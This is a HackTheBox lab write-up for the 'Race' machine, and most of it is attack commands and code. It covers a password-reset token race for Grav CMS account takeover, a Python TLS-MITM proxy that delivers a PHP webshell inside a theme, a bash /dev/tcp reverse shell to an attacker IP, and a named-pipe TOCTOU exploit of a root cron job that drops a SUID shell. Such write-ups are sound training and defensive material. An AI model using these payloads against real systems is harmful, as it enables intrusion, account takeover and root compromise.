HTB: Race Writeup
Race - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Race |
| OS | Linux |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.234.209 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Race is a hard Linux box built around a Grav CMS deployment behind an internet-cut-off web server. A phpsysinfo monitoring endpoint, left behind weak Basic Auth, leaked hardcoded Grav admin credentials in its process listing. Those credentials belonged to a low-privilege Grav user whose only real power was triggering site backups — but that “only” was enough: backups exposed the full user database, including a stale password-reset token for a higher-privileged user. By racing a fresh password-reset request against a fresh backup, the reset token could be captured live and used to hijack that account before the real user ever saw it. From there, theme/plugin installation combined with a forced outbound proxy setting gave a path to RCE by man-in-the-middling Grav’s own package-manager traffic and swapping in a malicious theme archive. Post-exploitation revealed a hardcoded SSH password in a backup script, and privilege escalation to root exploited a classic TOCTOU race in a cron-driven integrity check, using a named pipe to stall md5sum mid-hash while the checked file was swapped underneath it.
TL;DR: Weak Basic Auth on phpsysinfo → leaked Grav backup account creds → abused Grav’s backup feature to steal a fresh password-reset token for patrick → account takeover → forced Grav’s package manager through an attacker-controlled TLS-MITM proxy → malicious theme upload → RCE as www-data → hardcoded max password in a backup script → SSH as max → TOCTOU race against a root cron job’s MD5 integrity check using a named pipe → SUID bash → root.
Reconnaissance
Port Scanning
Initial connectivity checks against the target (routed through a jump host) confirmed two open ports:
# Quick TCP reachability check from the jump boxnc -zv -w3 10.129.234.209 22nc -zv -w3 10.129.234.209 80Results: 22/tcp (SSH) and 80/tcp (HTTP) open.
Service Enumeration
The web root served a Grav CMS site under /racers/, with an admin panel at /racers/admin. A phpsysinfo monitoring page was also present and protected with HTTP Basic Auth:
# Confirm the auth prompt on phpsysinfocurl -s -i http://10.129.234.209/phpsysinfo | head -5Weak credentials (admin:admin) authenticated successfully. phpsysinfo exposes system data via an XML backend, including a “Process Status” panel that lists running processes — in this case, a curl command containing hardcoded Grav credentials:
# Pull the phpsysinfo XML feed and grep for leaked secretscurl -s -u admin:admin "http://10.129.234.209/phpsysinfo/xml.php?plugin=complete" \ | grep -aiE "backup|curl|password|secur"Leaked credentials: backup:Wedobackupswithsecur3password5.Noonecanhackus!
Vulnerability Assessment
- Weak Basic Auth on an internal monitoring tool (
phpsysinfo) exposed to the public web root. - Process-list credential leakage — a backup
curlinvocation with inline credentials, visible to anyone who can reachphpsysinfo. - Grav CMS backup feature available to a low-privilege account, allowing full site-content exfiltration including the
user/accounts/*.yamlfiles (password hashes and reset tokens). - Password-reset token race condition — Grav writes the reset token to the user’s YAML file before delivering it out-of-band. Anyone able to take a backup can read that token mid-flight.
- Outbound proxy configurable + theme/plugin installation on
patrick’s elevated Grav account, with the box air-gapped from the real GPM (Grav Package Manager) — meaning all package-manager traffic could be forced through an attacker-controlled host.
Initial Foothold
Exploitation Path
1. Log into Grav admin with leaked backup credentials.
# Fetch login page for the CSRF/login nonce, then authenticateLP=$(curl -s -c /tmp/grav_cj "http://10.129.234.209/racers/admin")NONCE=$(echo "$LP" | grep -oE 'login-nonce" value="[a-f0-9]+"' | grep -oE '[a-f0-9]{8,}')
curl -s -b /tmp/grav_cj -c /tmp/grav_cj \ --data-urlencode "username=backup" \ --data-urlencode "password=Wedobackupswithsecur3password5.Noonecanhackus!" \ --data-urlencode "login-nonce=$NONCE" \ "http://10.129.234.209/racers/admin"The backup account has one meaningful capability in the dashboard: triggering and downloading site backups.
2. Take a backup and extract the account YAML files.
# Trigger the backup task (Grav backup endpoint requires the admin-nonce)curl -s -b /tmp/grav_cj -c /tmp/grav_cj \ "http://10.129.234.209/racers/admin/task:backup?admin-nonce=$NONCE"
# Download and extract just the accounts directoryunzip -oq /tmp/bk1.zip "user/accounts/*.yaml" -d /tmp/acccat /tmp/acc/user/accounts/patrick.yamlThis confirmed patrick as a privileged account, but the reset: token embedded in the YAML was stale (from a previous, long-expired reset request) — not directly usable.
3. Race a fresh password-reset request against a fresh backup.
Grav’s forgot flow writes a fresh reset token into the user’s YAML before the notification goes out. Triggering forgot anonymously and immediately re-taking a backup captures that token before it ever needs to reach an inbox:
# Step 1: submit anonymous forgot-password request for patrickFP=$(curl -s -c /tmp/anon_cj "http://10.129.234.209/racers/admin/forgot")LOGIN_NONCE=$(echo "$FP" | grep -oE 'login-nonce" value="[a-f0-9]+"' | grep -oE '[a-f0-9]{8,}')
curl -s -b /tmp/anon_cj -c /tmp/anon_cj \ --data-urlencode "data[username]=patrick" \ --data-urlencode "login-nonce=$LOGIN_NONCE" \ --data-urlencode "task=forgot" \ "http://10.129.234.209/racers/admin/forgot"
# Step 2: immediately take another backup as the `backup` usercurl -s -b /tmp/grav_cj -c /tmp/grav_cj \ "http://10.129.234.209/racers/admin/task:backup?admin-nonce=$NONCE"
# Step 3: pull the fresh reset tokenunzip -oq /tmp/bk_fresh.zip "user/accounts/patrick.yaml" -d /tmp/acc2grep "reset:" /tmp/acc2/user/accounts/patrick.yaml4. Consume the reset token to hijack patrick’s account.
Grav’s LoginController builds reset links as /racers/admin/reset/u/{username}/{token}. Visiting that URL with a valid nonce and a new password takes over the account — subject to Grav’s pwd_regex, which required a 32+ character password:
# Fetch the reset form to obtain a fresh nonce, then submit the new passwordRP=$(curl -s -c /tmp/anon_cj2 "http://10.129.234.209/racers/admin/reset/u/patrick/$TOKEN")RESET_NONCE=$(echo "$RP" | grep -oE 'login-nonce" value="[a-f0-9]+"' | grep -oE '[a-f0-9]{8,}')
curl -s -b /tmp/anon_cj2 -c /tmp/anon_cj2 \ --data-urlencode "username=patrick" \ --data-urlencode "password=Th1sIsAVeryLongReplacementPasswordForPatrick32Chars!" \ --data-urlencode "password_confirm=Th1sIsAVeryLongReplacementPasswordForPatrick32Chars!" \ --data-urlencode "login-nonce=$RESET_NONCE" \ "http://10.129.234.209/racers/admin/reset/u/patrick/$TOKEN"Logging in as patrick unlocked a much larger dashboard: theme installation, plugin installation, and system configuration — including the outbound HTTP proxy setting.
5. Achieve RCE via a TLS-MITM proxy against the Grav Package Manager.
The target host had no direct internet access, so Grav’s plugin/theme installer fetches packages through a configurable proxy (system.http.proxy_url). Pointing that setting at an attacker-controlled host — with TLS verification disabled — put every GPM request through infrastructure the attacker fully controlled:
# Simplified sketch of the TLS-MITM relay used in place of Burp Suite:# - Terminates TLS for the Grav server's outbound GPM requests# - Transparently relays legitimate index/API calls to the real GPM# - Intercepts the download response for the requested theme package# and substitutes a malicious archive insteadimport ssl, http.server, urllib.request
class MITMHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): if "photographer" in self.path and "download" in self.path: # Serve the malicious theme zip instead of the real package with open("evil_photographer.zip", "rb") as f: data = f.read() self.send_response(200) self.send_header("Content-Type", "application/zip") self.end_headers() self.wfile.write(data) else: # Relay everything else untouched to the real GPM index real = urllib.request.urlopen("https://getgrav.org" + self.path) self.send_response(real.status) self.end_headers() self.wfile.write(real.read())The malicious theme archive contained a photographer-style theme with:
<!-- img/cmd.php - simple GET-based webshell --><?php echo system($_GET['0']); ?># img/.htaccess - disable Apache rewrite so the webshell is served as-is<IfModule mod_rewrite.c>RewriteEngine Off</IfModule>Triggering the theme install from patrick’s dashboard caused Grav to fetch the package through the MITM proxy, unpack the malicious archive, and drop cmd.php directly into the web root:
# Confirm code executioncurl "http://10.129.234.209/racers/user/themes/photographer/img/cmd.php?0=id"# → www-data
# Upgrade to an interactive reverse shellcurl "http://10.129.234.209/racers/user/themes/photographer/img/cmd.php?0=$(python3 -c "import urllib.parseprint(urllib.parse.quote('bash -c \"bash -i >& /dev/tcp/10.10.15.68/4444 0>&1\"'))")"Caught the callback and got a shell as www-data.
Privilege Escalation
www-data → max
Inside the web application’s backup tooling was a script referencing an offsite SFTP sync, offsite-backup.sh, with max’s SSH password hardcoded:
# offsite-backup.sh excerpt (found under the app's script directory)OFFSITE_HOST="offsite-backup.race.vl"SOURCE_DIR="/var/www/html/racers/backup/"OFFSITE_USER="max"OFFSITE_PASS="ruxai0GaemaS1Rah"# SSH in as max using the harvested credentialsshpass -p 'ruxai0GaemaS1Rah' ssh max@10.129.234.209user.txt was readable from max’s home directory.
max → root (TOCTOU race via named pipe)
A root-owned cron job periodically ran a “secure” runner that MD5-checks a set of scripts before executing them — a classic CWE-367 (Time-of-check Time-of-use race condition):
# secure-cron-runner.sh (conceptual — root cron job)for j in "${!scripts[@]}"; do sig=$(/usr/bin/md5sum "${scripts[$j]}" | awk '{print $1}') if [[ "$sig" == "${sigs[$j]}" ]]; then "${scripts[$j]}" # executed if hash matches, as root fidoneCritically, offsite-backup.sh lived in a directory writable by the racers group, of which max was a member — meaning the file being hashed and the file being executed were both attacker-controllable between the check and the use.
The exploit stalls md5sum mid-read using a named pipe, so the process is committed to hashing the original (trusted) content, while the executed file is swapped to something malicious before the pipe is fed the rest of its bytes:
# 1. Replace the target script with a FIFO so md5sum blocks reading itmv offsite-backup.sh offsite-backup.sh.bakmknod offsite-backup.sh p
# 2. Wait for the cron job to open the pipe and start reading (md5sum blocks)# -- confirmed by watching for a new md5sum process against this path
# 3. While md5sum is blocked mid-read, swap the pipe out and drop in the# malicious payload under the SAME filename the runner will executemv offsite-backup.sh scat > offsite-backup.sh << 'EOF'#!/bin/bashcp /bin/bash /tmp/hellochmod 6777 /tmp/helloEOFchmod +x offsite-backup.sh
# 4. Feed md5sum the ORIGINAL trusted bytes via the renamed pipe so the# hash check still passes, then let it finishcat offsite-backup.sh.bak >> sBecause md5sum had already opened the FIFO and was blocked waiting for data, feeding it the original script’s bytes made it compute the expected MD5 — passing the integrity check. But by the time secure-cron-runner.sh actually executed offsite-backup.sh (a fresh call, reopening the path), the filename now pointed at the malicious payload instead. Since leftover blocked md5sum processes could linger across attempts, tracking newly-spawned PIDs was necessary to reliably synchronize the swap with the current cron invocation.
# Verify the SUID binary was dropped by rootls -la /tmp/hello# -rwsrwsrwx 1 root root ... /tmp/hello
# Get a root shell/tmp/hello -pid# uid=1001(max) gid=1001(max) euid=0(root) egid=0(root) groups=0(root),1001(max),1002(racers)root.txt was readable from /root/.
Attack Chain Summary
Weak Basic Auth (admin:admin) on phpsysinfo → Leaked Grav "backup" account credentials → Abused Grav backup feature to exfiltrate user/accounts/*.yaml → Raced anonymous "forgot password" request against a fresh backup → Captured live reset token for "patrick" (32+ char password required) → Account takeover on patrick (elevated Grav privileges) → Set malicious proxy_url + disabled TLS verification → TLS-MITM'd Grav Package Manager traffic → Delivered malicious theme (webshell + .htaccess bypass) → RCE as www-data → Hardcoded max SSH password in offsite-backup.sh → SSH as max → user.txt → TOCTOU race on root cron's MD5 integrity check → Named pipe stalled md5sum, swapped script post-check → SUID /tmp/hello dropped by root → root.txtTools Used
| Tool | Purpose |
|---|---|
nc | Port reachability checks, reverse shell catcher |
curl | HTTP/Basic-Auth interaction, Grav admin/task automation, webshell triggering |
phpsysinfo (target-hosted) | Credential-leak source via process listing |
| Grav CMS admin panel | Backup extraction, password-reset abuse, theme/plugin install, proxy config |
| Custom Python TLS-MITM proxy | Intercepted/relayed GPM traffic to deliver malicious theme package |
Custom PHP webshell (cmd.php) | Command execution inside the malicious theme |
sshpass / ssh | Authentication as max with harvested credentials |
mknod (named pipes / FIFO) | TOCTOU race exploitation against md5sum integrity check |
md5sum (abused, not attacker tool) | Target of the race condition |
Key Learnings
Techniques Practiced
- Basic-Auth credential leakage discovery via system-info endpoints.
- Grav CMS admin exploitation: backup exfiltration, password-reset token race, account takeover.
- Man-in-the-middling an application’s own outbound package manager to smuggle malicious packages onto an air-gapped host.
- Webshell delivery via a themed/plugin archive with
.htaccessrewrite suppression. - Credential harvesting from operational scripts (hardcoded SSH creds in a “safe” backup script).
- Exploiting a TOCTOU race condition using named pipes to desynchronize a hash-check from the executed binary.
Lessons Learned
- Internal monitoring/diagnostic tools (
phpsysinfoand similar) are frequently deployed with default or weak credentials and can leak far more than system stats — including operational secrets embedded in visible process arguments. - Any feature that lets a low-privileged account read arbitrary application state (like “take a backup”) is effectively an authorization bypass if that state includes secrets such as password-reset tokens — the backup feature should be scoped or the sensitive data should never be included in exportable backups.
- Password-reset flows that persist tokens to disk/state before out-of-band delivery create a race window; anyone with read access to that state during the window can steal the token without ever touching the victim’s inbox.
- Air-gapping a host from the internet doesn’t help if the application still trusts an admin-configurable proxy for its “trusted” package manager traffic — that proxy setting is itself a privileged, exploitable trust boundary.
- MD5-based integrity checks performed as a distinct “check” step before a distinct “use” step are inherently vulnerable to TOCTOU races, especially when the checked path is writable by a lower-privileged group. File hashing and execution should be atomic (or the file should be immutable/root-owned only) to close this class of bug.
- Hardcoded credentials in “temporarily disabled for security” comments in scripts are still credentials — commenting out a variable assignment does not remove it from the file.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- 0xEr3bus, “Race” — official HackTheBox writeup (machine author: jkr). Used for conceptual context on the Grav
LoginControllerreset-link construction, thesecure-cron-runner.shMD5 integrity-check design, and the general TOCTOU/named-pipe exploitation technique. All IPs, credentials, commands, and outputs in this writeup reflect this engagement’s own live run, not the reference environment.